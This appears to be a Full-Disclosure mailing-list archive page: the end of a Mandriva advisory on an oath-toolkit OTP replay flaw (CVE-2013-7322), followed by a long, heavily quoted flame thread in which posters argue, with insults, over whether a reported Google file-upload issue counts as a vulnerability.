 It was found that comments (lines starting with a hash) in
 /etc/users.oath could prevent one-time-passwords (OTP) from
 being invalidated, leaving the OTP vulnerable to replay attacks
 (CVE-2013-7322).
 ___

 References:

 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-7322
 http://advisories.mageia.org/MGASA-2014-0101.html
 ___

 Updated Packages:

 Mandriva Business Server 1/X86_64:
 5e7ce31fddb192c01d46ff35e5077ef2  
mbs1/x86_64/lib64oath0-1.12.6-1.mbs1.x86_64.rpm
 1d1119a6895f2c15b3186651a3e6b5f5  
mbs1/x86_64/lib64oath-devel-1.12.6-1.mbs1.x86_64.rpm
 d3026ce09d217fecf642a8059b7319cc  
mbs1/x86_64/oath-toolkit-1.12.6-1.mbs1.x86_64.rpm
 ed3ba7cb9afff74e2490a5da5ba5741c  
mbs1/x86_64/pam_oath-1.12.6-1.mbs1.x86_64.rpm 
 76c955b592b689ebdd2bf55ebcd6d414  mbs1/SRPMS/oath-toolkit-1.12.6-1.mbs1.src.rpm
 ___

 To upgrade automatically use MandrivaUpdate or urpmi.  The verification
 of md5 checksums and GPG signatures is performed automatically for you.

 All packages are signed by Mandriva for security.  You can obtain the
 GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

 You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/en/support/security/advisories/

 If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
 ___

 Type Bits/KeyID Date   User ID
 pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  security*mandriva.com
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.4.12 (GNU/Linux)

iD8DBQFTIwttmqjQ0CJFipgRAm6uAJ0YADCGV+4DvH0HbDUkBjRaXOvXowCcC0Lx
vFNAIbWSDz8mgo9EiBALFw8=
=lkDX
-END PGP SIGNATURE-

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Fwd: Google vulnerabilities with PoC

People can read the report if they like. Can't you even do basic things
like reading a vulnerability report?

Can't you see that the advisory is about writing arbitrary files. If I was
your boss I would fire you.
-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Fri, Mar 14, 2014 at 5:43 PM
Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
To: Mario Vilas mvi...@gmail.com

People can read the report if they like. Can't you even do basic things
like reading a vulnerability report?

Can't you see that the advisory is about writing arbitrary files. If I was
your boss I would fire you, with a good kick outta the door.

On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation of
 duties in this security instance.

 Happy to see more professionals with some skills.  Some others have also
 mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.

 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...

 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.

 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.

 Nicholas.

 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..

 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/

 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec

 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so keen 
 on
 that job.

 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

LOL you're hopeless.
Good luck with your business. Brave customers!

Cheers
antisnatchor

Nicholas Lemonias. wrote:

 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?
  
 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: *Nicholas Lemonias.* lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com mailto:mvi...@gmail.com


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?
  
 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.
  
  
  
  


 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com
 mailto:mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com mailto:lem.niko...@googlemail.com
 wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.
  
 Happy to see more professionals with some skills.  Some others
 have also mentioned the feasibility for Denial of Service
 attacks. Remote code execution by Social Engineering is also a
 prominent scenario.


 Actually, people have been pointing out exactly the opposite. But
 if you insist on believing you can DoS an EC2 by uploading files,
 good luck to you then...
  

  
 If you can't tell that that is a vulnerability (probably
 coming from a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.
  

  
 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly
 disagree on those points.
 I wouldn't hire you as a consultant, if you can't tell if
 that is a valid vulnerability..
  
  
 Best Regards,
 Nicholas Lemonias.
  
 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas
 mvi...@gmail.com mailto:mvi...@gmail.com wrote:

 But do you have all the required EH certifications?
 Try this one from the Institute for 
 Certified Application Security
 Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:

 Thanks Michal,
  
 We are just trying to improve Google's security
 and contribute to the research community after
 all. If you are still on EFNet give me a shout
 some time.
  
  We have done so and consulted to hundreds of
 clients including Microsoft, Nokia, Adobe and some
 of the world's biggest corporations. We are also
 strict supporters of the ACM code of conduct.
  
 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas
 Lemonias. lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:

 Hi Jerome,
  
 Thank you for agreeing on access control, and
 separation of duties.
  
 However successful exploitation permits
 arbitrary write() of any file of choice.
  
 I could release an exploit code in C Sharp or
 Python that permits multiple file uploads of
 any file/types, if the Google security team
 feels that this would be necessary. This is
 unpaid work, so we are not so keen on that job. 
 || 


 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
 athiasjer...@gmail.com
 mailto:athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a
 terminology

[Full-disclosure] Fwd: Fwd: Google vulnerabilities with PoC

Says the script kiddie... Beg for some publicity. My customers are FTSE 100.

-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Fri, Mar 14, 2014 at 5:58 PM
Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
To: antisnatchor antisnatc...@gmail.com

Says the script kiddie... Beg for some publicity. My customers are FTSE 100.

On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:

 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I was
 your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com

 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I was
 your boss I would fire you, with a good kick outta the door.

 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have also
 mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.

 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...

 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.

 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.

 Nicholas.

 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..

 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/

 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec

 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.

 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is
 a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
 security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g.

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

The full-disclosure mailing list has really changed. It's full of lamers
nowdays aiming high.





On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),
 security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a
 proper
 SDLC (Build security in) as per Defense-in-Depth

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

You can't even find a cross site scripting on google.

Find a vuln on Google seems like a dream to some script kiddies.


On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of lamers
 nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good luck to
 you then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
 not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Ahah, I don't want to loose my time with public bug bounties, it's not
even cost-effective.

Sei proprio un nabbo

Nicholas Lemonias. wrote:
 You can't even find a cross site scripting on google.
  
 Find a vuln on Google seems like a dream to some script kiddies.


 On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com mailto:lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of
 lamers nowdays aiming high.
  
  
  


 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com mailto:lem.niko...@googlemail.com
 wrote:

 Says the script kiddie... Beg for some publicity. My customers
 are FTSE 100.

 -- Forwarded message --
 From: *Nicholas Lemonias.* lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities
 with PoC
 To: antisnatchor antisnatc...@gmail.com
 mailto:antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers
 are FTSE 100.
  
  


 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor
 antisnatc...@gmail.com mailto:antisnatc...@gmail.com wrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:

 People can read the report if they like. Can't you even
 do basic things like reading a vulnerability report?
  
 Can't you see that the advisory is about writing
 arbitrary files. If I was your boss I would fire you.
 -- Forwarded message --
 From: *Nicholas Lemonias.* lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities
 with PoC
 To: Mario Vilas mvi...@gmail.com mailto:mvi...@gmail.com


 People can read the report if they like. Can't you even
 do basic things like reading a vulnerability report?
  
 Can't you see that the advisory is about writing
 arbitrary files. If I was your boss I would fire you,
 with a good kick outta the door.
  
  
  
  


 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas
 mvi...@gmail.com mailto:mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security
 instance.
  
 Happy to see more professionals with some
 skills.  Some others have also mentioned the
 feasibility for Denial of Service attacks. Remote
 code execution by Social Engineering is also a
 prominent scenario.


 Actually, people have been pointing out exactly the
 opposite. But if you insist on believing you can DoS
 an EC2 by uploading files, good luck to you then...
  

  
 If you can't tell that that is a vulnerability
 (probably coming from a bunch of CEH's), I feel
 sorry for those consultants.


 You're the only one throwing around certifications
 here. I can no longer tell if you're being serious or
 this is a massive prank.
  

  
 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas
 Lemonias. lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do
 certainly disagree on those points.
 I wouldn't hire you as a consultant, if you
 can't tell if that is a valid vulnerability..
  
  
 Best Regards,
 Nicholas Lemonias.
  
 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas
 mvi...@gmail.com mailto:mvi...@gmail.com
 wrote:

 But do you have all the required EH
 certifications? Try this one

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Ulisses Montenegro

This is one of the most fun threads I've read in fd, and that's no small
feat. Thanks for the laughs.


On Fri, Mar 14, 2014 at 3:00 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of lamers
 nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good luck to
 you then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
 not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

2014-03-14 Thread Mike Hale

